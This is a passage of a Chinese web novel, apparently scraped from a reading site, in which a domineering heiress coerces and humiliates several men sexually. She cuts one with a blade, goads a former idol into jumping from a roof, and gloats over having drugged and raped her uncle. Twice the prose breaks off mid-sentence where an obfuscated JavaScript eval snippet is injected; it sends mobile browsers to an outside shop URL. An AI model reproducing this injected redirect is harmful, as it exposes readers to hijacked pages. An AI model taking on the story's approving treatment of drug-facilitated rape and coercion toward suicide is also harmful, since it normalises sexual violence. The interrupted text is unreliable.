不一时,低低的“嗡嗡”声响起。 黑暗里打出一束昏光,是台静怡打开手机APP,找到相应的控制界面,指尖在界面划来划去。 “感觉怎么样?” 她把界面上的小圆点划到最高,“嗡嗡”声陡然抬高。 姜骁脚边有个刚被拆开的快递盒,盒面写着“私密发货”。 借着手机光,姜骁懒散地瞥了眼。 一长串的物品名字,难记。 遥控XXX所京还XX带电XX震XX 她把亮起的手机屏幕打在他的额前,拍掉他的胳膊。 他不自主地夹起嗓子:“别。” 她扣住他的下巴,“扇一巴掌,学狗叫一声。扇完十巴掌,小狗可以解下来。怎么样?” 姜骁觉得自己好像发烧了。 迷糊间记得,十分钟前,这里岁月静好。 ** 十分钟前,邢铎前脚刚走。 台静怡坐在沙发里,双手抱臂,翘着二郎腿,鞋尖在月光里翘成尖锐的月牙儿状。不久,鞋面踢到一个没拆封的快递盒。 姜骁试图制止她的翘腿恶习,“就这么点地方,你抖腿,我的腿也会跟着抖。” 台静怡想着快递盒里是什么东西,“那咋了。” 姜骁:“我不喜欢。” 台静怡:“不管。” 她说着,手里把玩着那头黑长直。 洗发水的味道很好闻,让姜骁不禁在想,她血液的味道是否也跟洗发水一样,香得像一个优雅贵族的灵魂在游荡。 姜骁不懂她的衣服包包是哪些名牌,也没查过,甚至查不出她的背景。 但从她来姜家卤货店买卤食,俩人初次见面那天起,他就明白,像明白他自己是个标准的穷小子那样,一带明白她是个标准的大小姐,权势滔天那种。 她罔顾旁人意愿,潇洒行事。她给旁人盖个蓝戳,那人就是待屠宰的猪;给旁人捆个项圈,那人就是被驯化的狗。 世界是大小姐的游乐园,电锯可以是修园工具,尸骨可以是沃地肥料,饮食男女做基础设施,那些神不知鬼不觉的、赶鸭子上架的、心甘情愿的情绪来做驱动力。 一切为她所用。 “坏人。” 姜骁起身,被快递盒绊住脚。 “谁规定只有好人才能活着。”台静怡犁起嘴角,“谁又做过保证,只有做好人才能活得好。谁又有权威下定义,什么是好人,什么是坏人。” “拼命才有进步,内卷才会前进。摆烂等同于落后,颓废与被厌弃挂钩。这些,你真的信以为真吗?不过是上等人制定规则,下等人只能遵循的一场骗局而已。” “下等人一辈子都是老黄牛犁地,瘦驴子拉磨,只能想一些虚无缥缈的盼头,才能有力气多犁一亩地,多拉一圈磨。” “你呢。”台静怡起身,没个轻重地扇了下他的侧腰,“姜大好人,你有多高尚,有多无私,有多舍己为公。” “噗嗤——” 有鱼从水缸里蹦出,落到地上。 台静怡一级一级地顺着楼梯台阶往上走,走到三楼的楼梯拐角,那片只有月光照耀的地方,停住脚。 鱼缸就摆在楼梯拐角这里。 妈妈生前在老宅里养鱼,当时楼下装修,鱼缸就临时搬到阁楼的楼梯拐角。 老宅楼梯拐角处的墙壁上面,缀有一扇夏加尔蓝彩绘玻璃,教堂花窗样式,柔美而幽邃。 那里是通风处,高高的房梁上悬有一连串的曼陀罗风铃。风曲折地吹来,曼陀罗风铃叮铃铃地响。站在那里看久了,不免头晕目眩,好像要被吸进一场蓝盈盈的、虚飘飘的梦,一切都呈现出一种不落实地的精美。 眼前的景象,与记忆里的别无二致。不过玻璃上贴的是现成的蓝玻璃贴,屋顶挂的是蓝玻璃老式风铃,鱼缸是缩小版,小鱼也不似从前圆润。 姜骁想了想,选择跟着她上楼。 离她还有几个台阶的距离时,他停住,抬头仰望她。 惨蓝的玻璃窗,乌黑的头发,瓷白的皮肤。 背对而立的她,是一抹在缅怀过往的鬼魂。 停了几秒,她转过身,月光斜着照上她的颧骨。 她那长睫毛的影子叠在光的影子上,清晰地呈现出脸部骨骼与肌肉走向,目光在清冷的意境里落到他身上。 “捡起那条鱼。”她如女王加冕般施布命令,“扔到鱼缸里。” 她盯着他。 他知道,数日之前,她一定盯过其他不够驯顺的人。 倘若不从,迎接他的也许是电锯,也许是天降意外。总之过不了多久,被她封为“大好人”的他,就会悄无声息地消失。 姜骁拿起架在缸旁的滤网,把地上那条蓝尾巴鱼捞进鱼缸。 那条鱼很坚强,哪怕落到地上有一些时间,也没作奄奄一息状,反而呼吸稳定,生命体征鲜活。 连鱼都被台静怡驯得乖顺。他想。 “那是条斗鱼,离开水也能活。” 台静怡仿佛知道他心里所想,出声点破他的无知。 被捉弄的尴尬感爬上来,姜骁飞快移开眼,盯着鱼缸里的漂亮造景。 缸里造了棵小梧桐树,宝莲灯鱼群从这条树枝游到那条树枝;天空蓝孔雀鱼数量少,盘踞在梧桐叶上面;斗鱼生龙活虎,尾巴扫着缸壁,声势浩大地游过。 “那是妈妈喜欢的造景。” 台静怡走到姜骁身侧,把一副新的蓝牙耳机分给他一半,又把音量调高,歌曲旋律与心跳共振。 歌曲前奏响起,台静怡凑近姜骁。 他看鱼游,她看他的眼睛。 “小姜哥哥,你的眼睛和妈妈很像。如果你允许的话——”我想剜掉你的眼睛,泡在福尔马林里。如果不允许,我会先把你杀掉,再剜去你的眼睛。 “你说什么。”姜骁指了指蓝牙耳机,“声音太大,没听清。” 台静怡把口袋里冒出头的刺刀往下摁了摁。 她向他走去,一步、两步,直到鞋尖抵到他的鞋尖。 又伸出手,一手扶住鱼缸边,一手拽住他的衣领,把他拘在她的双臂间,让他无路可退。 姜骁不明所以,弯腰低头,见她全神贯注地盯着自己的眼睛。 紧接着,眉眼间忽然一痛—— 眉与眼皮连接的那片皮肤,有血珠往外冒。 台静怡的指腹上躺着一个薄薄的小刀片。 刚刚,她用刀片划了他一下。 姜骁刚把血珠擦去,耳机里的音量便陡然增高。 他听清了那段歌词。 “想走出你控制的领域 却走近你安排的战局 我没有坚强的防备 也没有后路可以退” “什么歌?”姜骁想摘掉耳机,耳机却被台静怡用刀片堵了回去。 “王菲的《棋子》。” 台静怡把刀片扔到鱼缸里,刀刃上的血珠被水稀释,星星点点的红意。 姜骁心里窝火。她是想杀他?这算是情杀?故意把音量加大,就是为了让他听清歌词,好嗤笑他的处境? 简直坏得要死。 可心里那点火,就像鱼缸里那几滴血,时间短暂一过,什么都没了。 转而升起一股莫名的烦躁。 姜骁掣住台静怡的手腕,带她转过身,把她抵在鱼缸前。自己则站在她身后,胸膛贴住她的后背。 他没了酷哥的风度,把她的头发囫囵拨到一旁。眼睛盯着她脖侧的红痕,只觉碍眼得很。 “邢铎知道你这样吗?” 他把指节屈起,敲打那些吻.痕。 “我哪样。” 台静怡稍侧过头,朝他的睫毛吹了口气。 姜骁把额角抵在她的脖侧揉.擦,不甘示弱一般,也朝她的锁骨处慢慢吹了口气。 “你这样,脚踏多条船。” “你觉得我和他是同一条船上的关系?” 台静怡不辩解,“那就如你所想好了。事实上,我知道他知道我这样做,他也知道我知道他所知道的。但那又怎样。” 姜骁被她过于平淡的语气噎了下。 “贵圈真乱。” 台静怡转过头,继续盯着鱼缸看,敷衍地“嗯嗯”两声。 “姜大好人最正直了。” 事实上,她热衷于集邮。睡过的女人男人,无一例外都是“跟妈妈有些像”。有的外貌相像,有的气质神似。 姜骁眼里时不时冒出的忧郁感,与妈妈很像。 鱼缸里的蓝色灯管电量不足,一闪一闪的,像慢慢融化在蓝橙酒里的冰块。过了半首歌的时间,冰块渐渐化尽——灯管没电了,鱼缸里却仍有蓝光照着。那片彩绘玻璃的蓝光。 在这样的蓝调时刻里,姜骁用嘴唇盖住台静怡的耳垂,话语意外走心。 “跟我说说你和你妈妈之间的事吧。” 刚才拥着她,看到她的眼睛虚虚地往左瞟。据说,眼睛向左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249042|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看的时候,是在回忆过去。 台静怡却蓦地指起缸里的乌龟。 乌龟的头一梗一抽,有种天然的滑稽。 “你看它的头。”台静怡笑道,“老祖宗可真会观察生活……” 她总是这样,不愿敞开心扉时,习惯用搞.肓的方式把话题岔开。 可姜骁还不了解她的性情,这时思维完全被她不着调的话带跑。 等他再反应过来,已经被台静怡扯着下楼,又坐回客厅里的沙发里。 她把快递盒拆开,手伸到他身上。 “我怕黑,没安全感,得抓住个什么东西才行。” 他一激灵,“怕黑就摸男人□□?” ** 九声狗叫,换来九个耳光。 在姜骁发出第十声之前,邢铎把电闸推起。 屋里亮了。 姜骁以迅雷不及掩耳之势,捞过一个毯子,盖在腰间。 邢铎把蜡烛吹灭,笑得很核善。 “我顺手把电路给通了通。不用谢我,我一向做好事不留名。” 姜骁猛地深吸一口气。 在停电的这十几分钟里,他都做了什么。 做小三!做情夫!做狗!做奴! 明明十几分钟之前,他还自诩清流! 该死,该死! 顶着台静怡与邢铎的两道目光,姜骁如置身被捉.奸现场,如履薄冰、如芒刺背、如坐针毡。 他拽住毯子,护住此刻身上最脆弱的那个地方,连人带毯头也不回地跑了。 “我以为你会给我用那玩意儿。” 邢铎这时才认真打扫起家里的卫生。其实没什么好扫的,主要是乱扔一地的衣服和各种玩具,跪地弯腰捡起来就好了。 他单膝跪在楼梯台阶上面,捡起台静怡事前穿的那件吊带。 台静怡懒洋洋地走上楼,经过邢铎身旁时,把一个狗项圈套在他脖子上。 项圈被调得很紧,勒得他呼吸不畅。 “赏你了。”她是指那件吊带。 说完,继续朝上走。 “棠棠。”邢铎出声唤道。 “你会觉得我不够关心你吗?”邢铎低声问。 “不会。”台静怡随意回。 “你会觉得我不够在乎你吗?” “不会。” “你会觉得我不够爱你吗?” “不会。” 邢铎的声音愈发低哑:“那你可不可以反过来问问我觉得会不会。” 台静怡皱起眉头,耐心见底。 “邢铎,你在搞什么?”连“铎叔”都不再叫,直接淡漠地斥着他的全名。 她继续一级一级地朝上走,走入没有光的所在。 “睡了。” 邢铎也不知道自己在搞什么。 平时他一点都不矫情,她要找狗玩,他甚至花重金培训一群好狗,一一送到她床上。 可是今晚,当看到比他更年轻、更像她妈妈的人出现,他心里的确有点慌。 一慌就容易矫情。 为了争宠,吃下.乃药,给蛋皮打玻尿酸去褶,又做粉嫩结扎……服美役时,那些智商税他没少交。当然效果也很明显,她分外喜爱。 这些,姜骁那个年轻人也会做么。 会吧。戴了新到的快递,又学了狗叫,挨了巴掌。再给个机会,此男离摇身一变成新欢只差0.01步。 邢铎嗅着手里那件吊带,成瘾般的畅快。 他知道他没资格奢求更多,但不免矫情地想,为什么她不可以像他对她一样对他。 过了会儿,邢铎捡起地上那个被拆开的快递盒,打开购物软件,准备买个姜骁身上戴的同款。 又犹豫了下,最终买了个“加麻加辣”顶级豪华款。 客服发出一条温馨提示:“本款强度高得99%的狗狗都受不了。请在遵循SSC原则下的前提下,慎重购买。” 邢铎登时再下单一次,这次收货地址填了台静怡她舅舅那里。 *** 躺到床上,台静怡抱着手机,点开与舅舅的聊天框。 选择一个视频压缩包,点击发送。 “我在温习舅舅的第一次。视频里的舅舅被迷晕了,躺在地上,好可爱。” “今晚舅舅就对着这个视频自我纾解吧。” 还想再发些什么,对面的人却抢先把她拉黑。过了两分钟,又解除拉黑。 依旧已读不回。 台静怡把手机扔到一旁,关灯睡了。 她知道,舅舅正在进行中。 7. Chapter 7 零点时,老旧小区对过那座钟楼响了几道钟声。小区前,烧烤摊的生意仍旧火热。小情侣、大姨大爷坐在蓝棚底下的塑料板凳上,热火朝天地捋着烧烤串。脚边是一大听啤酒和擦过嘴擤过鼻涕的纸团。人头挤着人头,像一群麻雀有序觅食,仿佛除了吃喝玩乐,再没有别的目的。 姜骁把毯子松松系在腰间,确保两腿中间鼓起的那个大包不会被路人看见。 有大爷认出是他,从万宝路铁盒里掏出一根烟,“小网红,来一根?” 大爷打开某抖,选了个美颜滤镜,拍起视频:“看看呐,后边是县里的小网红,真是个大帅哥。” 姜骁拒收那根烟,让大爷把视频删了,步履匆匆地走进小区某栋单元楼的某一层。 家里一片黑。 姜骁松了口气。想着没人,干脆把毯子解下。哪知抵着墙换鞋时,客厅里的大灯“啪”地亮了。 他立即扯过那条小毯子,盖在裆前。 “你去见姐姐了。”姜萱站在过道,盯着姜骁手里的小毯子,“你在跟姐姐约会。” 姜骁把峻整的鼻梁皱了皱,“小萱,你还没睡。” 裆里那个锁.精.环终于没了动静,姜骁缓了会儿,把毯子扯掉。 他拿出做哥哥的威严,开口便是一连串的训斥。 “没睡怎么不开灯?再说,这都几点了,又在熬夜做毛?不是说这段时间在忙着搞大小创和‘三下乡’么,怎么还有时间做毛娘?我说过,挣钱还债是哥哥的事,与你无关。你只用搞好你大学的事,家里的事不用你操心。” 姜萱走到抿嘴哥头模前,语气又横又凶。 “这个点没睡,还不是因为单主临时变卦。一会儿说泡沫头模不行,让我换成抿嘴哥头模展示做好的毛,否则会担心我的毛是照骗;一会儿说中缝发片贴得不够,跟角色ooc了,让我赶时间补中缝;一会儿突然提出要反重力毛,一会儿担心自邮毛坯不行,要毛娘包毛坯……” “做完这些,一单才赚60。”姜萱抚上抿嘴哥那张贱兮兮的脸,气不打一处来,差点扇了头模一巴掌。 “所以让你别操心还债的事。”被那个玩具折磨了近乎一个小时,姜骁已然筋疲力竭,“这周末你记得去医院看老姜,医生说,他没几天活头了。” “老姜”是指兄妹俩那个赌博成性,欠了一屁股债,被对家捅了几刀,如今重伤住院的父亲。 姜萱继续做毛,“哥不去吗?” 姜骁沉声回道:“哥哥签了机构,每天都要直播6个小时起步。下播后还要总结直播数据,剪辑视频,写视频脚本,根本走不开。” 姜萱失望地“哦”了声,“那咱妈呢?她不去吗?” 姜骁回道:“她带了一届高三,负责教两个重点班的物理,你又不是不知道。现在高三补课,她也走不开。” “哥,你知道她是我的心选姐吧。”姜萱一边补中缝,一边说:“你明明知道,她是我这么多年以来,第一个喜欢的人。你不让我插手卤货店里的事,可你自己却乘着便利,要到了小台姐姐的联系方式,还跟她去约会,甚至把她家里的毯子都带了过来。” 姜萱耸着肩大叹气,“哥,从小到大,你一直都让着我。这一次可不可以也让着我,让我代替你,伺候小台姐姐。” “她好像不是女同。” 姜骁额前有一绺头发扫在眼里,难以忍受的痒。他干脆把额前的头发抓起往后捋,露出光洁的额头。整个人的状态劲劲的,有一种享尽欲望的餍足。 不一时,姜萱听着那头姜骁走进浴室洗澡的动静,心里嫉妒得要死。 之前某次,她趁姜骁洗澡,拿起他的手机偷看。 哥哥的微信聊天置顶,是她的心选姐台静怡。她点开台静怡的朋友圈,看到台静怡的朋友圈背景是电影《烧女图》里的一幕——书本定格在有画像的第28页。 《烧女图》,即《燃烧女子的肖像》,是一部女同电影。 哥哥说心选姐好像不是女同,也许哥哥说得不全对。 心选姐不是女同,是双性恋。 姜萱看着镜子里的自己。此刻她穿着痛衣,俨然一副二次元模样。 只有在家,她才是这种形象。 出门在外,她就是那种标准的长发鲻鱼头撕漫感酷T。打着眉钉唇钉,中指和食指修剪得堪称完美。一米八的大高个,宽肩长腿,走到哪里都被狂喊“老公,我可以”。 如果哥哥可以,那她为什么不可以。 心选姐会喜欢这样的她么。 想到这里,毛娘姜萱默默下线,取而代之的是一个阴湿求爱的小T。她又在找姜骁的手机,上次没偷偷记下台静怡的联系方式,真是可惜。这次势必要成功偷家。 做这桩缺德事时,姜萱心里竟然很充实。胸腔里如同有无数苔藓在肆意生长、爬拢,说不清是怦然心动下的无脑莽撞更多,还是更为清楚地记下了为爱冲锋的具象感受。 记下台静怡的微信号后,姜萱又做了个大胆举动——向台静怡发送一条好友申请。 两分钟后,对方同意成为她的好友。 姜萱把姜骁的手机扔掉,抱着自己的手机,三步并两步地飞到屋里,不忘把屋门反锁。 她躺在铺着凉席的床上,抱着手机如同抱着挚爱,十指发颤地打下一句话。 “你好,我是姜萱。” 然后还不等对面回复,她就把手机一扔,拉过夏凉被,蒙住头,在被窝里纵情翻滚,“桀桀桀”地傻笑,夹着嗓子小声尖叫,恍如哈士奇妖刚化作人形来到人间,一切都呈现出一种新鲜万分的不适应。 “嗷!”姜萱痛吼。 该死的麻将凉席,把她夹得肉生疼! 不过她还是笑,平生首次体会到,激动得浑身发抖,连手机都握不住是怎样一种体验。 小心翼翼地打开手机页面,被她备注为“宇宙第一心选姐”的人并没有回复。 姜萱的嘴角一下耷拉下来。 她握着手机,等了很久很久。凌晨3点半,她等对面回复,等到睡着。 就在她沉入梦乡的那一瞬,手机屏幕闪了闪。 【宇宙第一心选姐】:“不好意思,刚看到消息。我记得你,我们之前见过,可能你都没印象了。” 女性往往能够在相爱之前就达到互相理解的境界。 姜萱发送好友申请时,在验证语里没提到自己是姜骁的妹妹——按理她该说的,因为她跟台静怡之间唯一的交集就是姜骁。 她在极力摆脱“某某的某某”这种把自己摆在客体的身份,她向台静怡介绍,她就是她。哪怕莫名其妙,但她愿意以主体身份与台静怡结识。 台静怡无疑懂得姜萱的心思。 她拍下凌晨3点半的夜景,之后又拍下张5点半的日出,把这两张实况图一并发给姜萱。 【宇宙第一心选姐】:“放假的时候,晚上好,早上也好[害羞emoji]” ** 洗完澡,姜骁躺在床里,摆弄那个黑咕隆咚的物件。 无论如何都解不下来,捆着根,箍着蛋,简直是个贞.操.锁。 戴着她给予的这个物件,自由与解脱仿佛成了下辈子才需要思考的事情。凉席席面、轻柔的被角、贴身衣料的摩挲……任何一点流动的动静,都足够让姜骁翻来覆去,夜不能寐。 睡不着。 必须要想点别的、做点别的,才能抵抗那处不明的异样。 于是姜骁坐起身,后背抵着冰凉的床头靠垫,眼睛漫无焦点,身体一动不动。 月光从窗帘里打进来,他的下巴颏染上一点惨白的月影儿,眼鼻嘴却完全隐匿在黑暗里,看不出是什么情绪,也许本就没什么情绪。 其实他很累,急切需要一场好眠恢复精力。可一旦闭眼,眼前全是被台静怡揩油的场面。在她面前,他的不从、抗拒、承受、反击都像一场小儿科的笑话。 他无疑对她存有某种心思,但那种心思是否让他甘愿丢掉一切道德底线,去跟她做饮食男女,目前仍有待商榷。 对面墙上挂着一个钟表,时针慢慢走着。 被禁锢着的时间显得那样难熬。 8点,姜骁眼皮打架,终于有了睡意。 隔壁的姜萱却发出一声高昂的鸡叫。 姜骁把这当作大学生特有的精气神,没问姜萱发生了什么,反而侧过身,想着机构要求他下午3点开始直播,目前还可以再补个觉。 他戴上眼罩,睡得很沉。 殊不知就是从这时起,姜萱开始哼哧哼哧地挖起他的墙角。 ** 周书记落马一事终于迎来尾声。 原本台静怡并不关注这种尾声,直到有天与李欣出去吃饭,见李欣从包里拿出一张男爱豆的小卡,惆怅地说:“他是我现担,出道后一直营销‘真少爷’人设,说家里背景雄厚,就算不当爱豆,也是粉丝接触不到的人上人。听说最近他家里出了事,紧接着就有小道消息传他要退团。” 李欣把包装很好的小卡递到台静怡面前,“喏,就是他。” 台静怡对这些男团小鲜肉的事不感兴趣,但为了不扫兴,就随意瞥了眼小卡。 这一瞥可不得了。 小卡上极力媚粉的男爱豆,正是周书记的小儿子。 货真价实的官二代,同时也是货真价实的菜花男。 台静怡平淡地“啧啧”两声,“一般来说,只要小道消息没有辟谣,那就是真的。还是尽早把他的小卡都出了好。” 万一那爱豆受家里牵连,锒铛入狱,粉丝真是哭都没地方哭。 李欣虽有心理准备,可听台静怡这么一劝,心里更是凉凉。 她哭诉这是她第一次追男团,前担退团淡圈不说,现担又传出退团风波。 “哪个能登顶的团会一直有人退团啊……”抱怨着,李欣从包里掏出另一张小卡,递到台静怡手边,“这是我前担。” 台静怡又随意瞥了眼。 这一瞥又不得了了。 “帅吧。”李欣支着脑袋说,“在团时,他是立的是‘顶级dom’形象。很多站姐都说他线下那种气质,真的像长期浸淫在字母圈里的!当时他的直拍数据甩队友一大截,很多神图都出了圈。你仔细看看,应该会有点印象。” 何止是有点印象。 台静怡犁出一个礼貌性的笑容。 李欣的这位前担,是当时很受台静怡宠爱的一条狗。 他的“dom系”人设,还是台静怡亲自指点出来的。至于长期浸淫在字母圈里,那的确是,只不过他是铁sub、铁m。 粉丝眼里的主人,私底下被她玩到进医院也不是一两回的事。 “他这么受欢迎,后来怎么退团了?” 台静怡淡声问。 李欣八卦魂燃烧,压低声说:“他退团前,曾跟团一起参加了爱豆生涯的最后一场世界巡演。那场巡演里,他出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249043|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多神图。有一张图是他对着观众席笑,笑得像个热恋中的男人。站姐觉得恋爱味太强,跟他固有的人设不符,就没公布图片。后来有营销号爆料,他笑得那么真诚,其实是因为嫂子就待在观众席里,他是在对着嫂子做饭撒。” “嫂子风波后,他就宣布退团淡圈,回归现生。公司没给出明确理由,有的猜是抑郁症躯体化,有的猜是钱赚够就跑路,众说纷纭,至今没个结果。” “后来他的ins就不再更新,没人再见过他。”李欣叹了口长气,“也不知道前担哥过得好不好,还活着么。” 台静怡把小卡推回去,“你别太真情实感。真诚建议,早点把卡出了,从此封心锁爱,要么别再追星,要么白嫖追星。” 此男团的那场巡演,台静怡正好和朋友一起待在台下捧场。 原本她不想来,但那位前担哥很会撒娇,“我都被你玩进医院了,你就来陪陪我,好不好。我写了歌,还编了舞,想展示给你看。” 演唱会还没开场前,身旁前担哥的粉丝全都被台静怡的气质迷倒——那时她戴着墨镜,却不影响粉丝朝她表达喜爱。 “真的疯了……完全是legend啊……是路过的蚂蚁都会惊叹的程度呢。”粉丝夸她,“如果将来的嫂子是这种程度的天使的话,不知道欧巴会有多幸福。” 那时台静怡笑着说:“也许我真的就是嫂子。” 在这样火热的氛围里,粉丝当然不会把她的话当真。 “姐姐说话让人哈特软软呢,以后也请一直追着欧巴走花路吧!” 体验嫂子文学的感受很新奇。 台上那个用脸和身材秒了一切的爱豆,那样闪耀,那样触手可及却又触不可及。只静静地站在那里,就承载着粉丝追梦时的所有眼泪与真心。 可只有嫂子知道,此刻台上那个闪耀的爱豆,昨天晚上还跪在她身前,在电击项圈的作用下,除了翻白眼,其他什么都做不了。 粉丝说:“感觉欧巴今天的声音有点哑,是不是没休息好。” 嫂子想,可能是玩字母玩过头了。 至于前担哥退团,其实理由并不复杂,被她一脚踢飞,承受不了,心情低落,无心再搞事业。他家里本就不缺钱,甚至比李欣的现担哥的家里更有背景,只不过他不借此做营销而已。 回过神,台静怡没再说什么。 吃过饭,她跟李欣走在人行道上,准备去附近的万达广场闲逛。 正走着,突然有一戴帽戴口罩男迅速接近台静怡。 台静怡反应机警,先把李欣拉到身后,又立即抡起胳膊,结结实实地朝那男的扇了一巴掌。力道很足,那男的被扇得后退几步,没了攻击性。 “我那么爱你,爱到能为你去死。你呢,这么多天,竟然从没跟我联系过。” 戴帽男捂着脸,声音委屈巴巴。 李欣莫名觉得此男的声音很熟悉。 是不是太想前担哥了,此刻竟觉此男的身形和声音都像极了他。 “棠棠,要不现在就报警。” 李欣掏出手机,说道。 台静怡说不用。 李欣:“那怎么办,这男的好像脑子有问题,难缠得很。” 戴帽男失魂落魄如流浪狗乞食,“我真的爱你,你要怎样才肯相信。再给我个机会,求求了,我……” 不等此男说完,台静怡就扯着他的胳膊,把他往路上带。 眼见有辆车即将驶来,台静怡仍把此男往路中间推,要他自杀送死似的。 “喂,对面有车要来了!” 李欣着急吼道。 “呲啦——” 机动车车主猛踩刹车。 车主对蓄意碰瓷没有半点容忍,摇开车窗,一连串的脏话嘟噜而出。 骂的是方言,台静怡听不懂。 李欣赶忙跑过去,捂着心跳过快的胸口,对车主鞠躬道歉,好不容易才把车主请走。 “你们俩疯了!”李欣不可思议,“这边路上都是车,赶着送死也不能祸害别人啊!” “不是说爱我爱到愿意去死么,那就证明给我看。”台静怡顺手叫了辆车,拉着戴帽男,与李欣一同坐到后排车座上。 台静怡说了个地方,让司机师傅尽快去到。 不久,在一片废弃建筑旁下车。 台静怡扯着戴帽男的手腕,朝废弃建筑走得很快。 李欣一路小跑着跟过去,一面喊道:“注意安全!” 上了几楼,走到没设栏杆的楼顶,台静怡把戴帽男的帽子和口罩都拍掉。 她指着楼底下那片荒地,“死给我看。” 戴帽男起先还有些犹豫,揪着台静怡的衣角,极力乞求。 “棠棠,求你再给我一个机会。我不比他们差的……求你了,好不好。” 台静怡一脚把他踢跪下,又揪着他的头发,拖着他往楼顶的边缘处挪去。 “从这里跳下去,让我看看你是怎么死的。” “跳啊,沈锡承。”台静怡念出此男的名字,“当爱豆时,不是说热爱极限运动,天天跳伞蹦极,乐在其中么。现在让你跳个楼,活动一下筋骨,怎么就不敢了。” 两分钟后,李欣叉着腰,呼哧呼哧地上到楼顶。 还没来得及开口,就见那男的从楼顶跳了下去。他自己跳的,谁都没推他。 李欣瞪大双眼,看清了那男人的脸。 “前担哥!!!” 8. Chapter 8 李欣在豪华单人病房里坐了有些时间,脑子才迟钝地转过弯。 原来嫂子竟在身边。 起初她略有震惊,可在得知嫂子是台静怡后,她就摩拳擦掌地想:世界果然是大小姐的游乐园! 此刻竟觉前担哥能被大小姐渣,是他八辈子积攒来的福气。 幸喜前担哥没摔死,只不过左胳膊和左腿骨折处都打上石膏,没死也跳没了半条命。 沈锡承抚上胸口。左胳膊左腿错位的筋骨仿佛连着心脏,使他萌生出一种哪怕自我献祭,也要为爱冲锋的错觉。 “你不用一直守着我。”他对坐在一旁的李欣说,“她要我死,我就没有活头。” 言外之意,台静怡还是手下留情了。 李欣削着苹果,“我没有刻意守着你,只是在惋惜那些被浪费在买小卡路上的爱。” “我不是在泡泡上说过,不要买那些小卡,不值得,不如拿钱买点吃的更实在。” 沈锡承盯着玻璃窗外台静怡的背影。 玻璃窗面倒映出她拿手机回消息的动作。是列表里的哪个人在竭力讨好她,她又在轻巧地审阅哪个人的讨好。 李欣把削好的苹果递到沈锡承手边,沈锡承摆手回绝。 李欣缩回胳膊,咬了口脆苹果,酸酸的。 她问:“你有看过那篇很著名的梦女文吗?” 沈锡承极力搜刮这方面的记忆,“《西归浦的海水比你咬过的苹果更酸》?” “高三时,我借着朋友偷偷带到学校里的那部破手机,缩在被窝里,一字一句地读完这篇文,读了好多遍,几乎倒背如流。”李欣瞟了瞟躺在病床上的沈锡承,“其实粉丝比你更操心你那点事业。” 李欣又咬了口苹果,一边咀嚼,一边背了其中几段。 “沈锡承和我保持着一条围巾的距离。我们从陡路旁的电线杆子底下跑过,一直跑到偏僻的西归浦。 傍晚,沈锡承和我一前一后地骑着单车,从临海小镇的这一头穿到那一头。海风海水的味道是他最爱的那类海盐风味饮品,我默默汲取着他的喜好,单车越蹬越慢。” “晚秋是个很包容的季节,最真挚的相逢与最强烈的分离都藏在一成不变的海浪声里。沈锡承和我之间仍保持着一条围巾的距离,他站在这块潮湿的石头上,而我站在那块。 ‘客观地讲,其实你喂我吃的那口苹果很酸。’我踢着碎石子,‘但我向来意气行事,罔顾客观思维的提示。’” “海水把我的裤管拍湿,我想已经到了说‘再也不见’的时候。沈锡承说了什么,话声被海浪冲散。在我开口询问前,他把脖上的围巾解下,轻柔地围在我的颈边。 沈锡承打破那条围巾的距离,蹲在我脚边,拧了拧我的湿裤管。” “他低下头,尝了口掌心里的海水。 他说:‘就像我不知道我喂你吃的那口苹果有多酸一样,你也不会知道,你喂给我喝的这口海水是什么滋味。’ 他说:‘西归浦的海水比你咬过的苹果更酸。’” 李欣就背到这里。她啃完苹果,把苹果核扔到垃圾桶里。 沈锡承想说些男团里的实情,但支支吾吾,末了只挤出一句:“你早点把小卡出了。” “你别自作多情,以为我还是你的真爱粉。”李欣直白道:“我只是在感慨,世界原本的模样,并不像我读高三时所设想的那样。” 过去她以为努力就会有回报,奋斗就能跨越阶级;以为聚光灯下的一切光鲜亮丽都很纯粹,以为人和社会都无比真善美。 现在认清了现实,原来有权有势的人,可以过得那样精彩;原来自己能看到并为之向往的,都是别人提前策划好的。 李欣和沈锡承一起看向站在玻璃窗外的台静怡。 他们努力跨越阶级,而台静怡生来就是金字塔顶层的那个阶级。 李欣的“少女梦”碎了。 胸腔里噼里啪啦燃着火,各种欲望糅杂的火。 倘若能被台静怡短暂地垂怜,李欣想,她愿意惊恐扭曲地度过余生。 ** 台静怡在查沈锡承的来历。 他是从哪得到消息,又是得谁指点,才在这片小地方准确无误地找到她。 他是谁派来的麻烦,除了让她头疼,别的什么都干不成。 搜了一圈,她把幕后大BOSS锁定到列表里已读不回的舅舅。 她让舅舅看了当初他被她迷.|奸的录像,舅舅就放出沈锡承这条蠢狗,借此捉弄她一回。 “闲的没事干的话,可以把我妈的骨灰盒送来。”台静怡给舅舅发了条消息。 正想再骂舅舅几句,列表就挤出一条新消息。 【咪咪和牛牛粉得像私密整形的范例】:“这环到底怎么解,锁着很难受。” 另附上一张照片——画面里,男人咬着衣摆,超经意地露出腹肌与欲拒还迎的裆部。 简直是明骚与暗骚齐飞,咪咪共牛牛一色。 台静怡把姜骁发给她的这张照片,转手发给舅舅。 “这让我想起,数日前在阳光的照耀下,舅舅那里像两颗半透明的草莓味Q.Q糖。” 睹物思人,睹奶思奶。 这次,舅舅终于不再已读不回。 【舅舅】:“那就回来吃我的。” 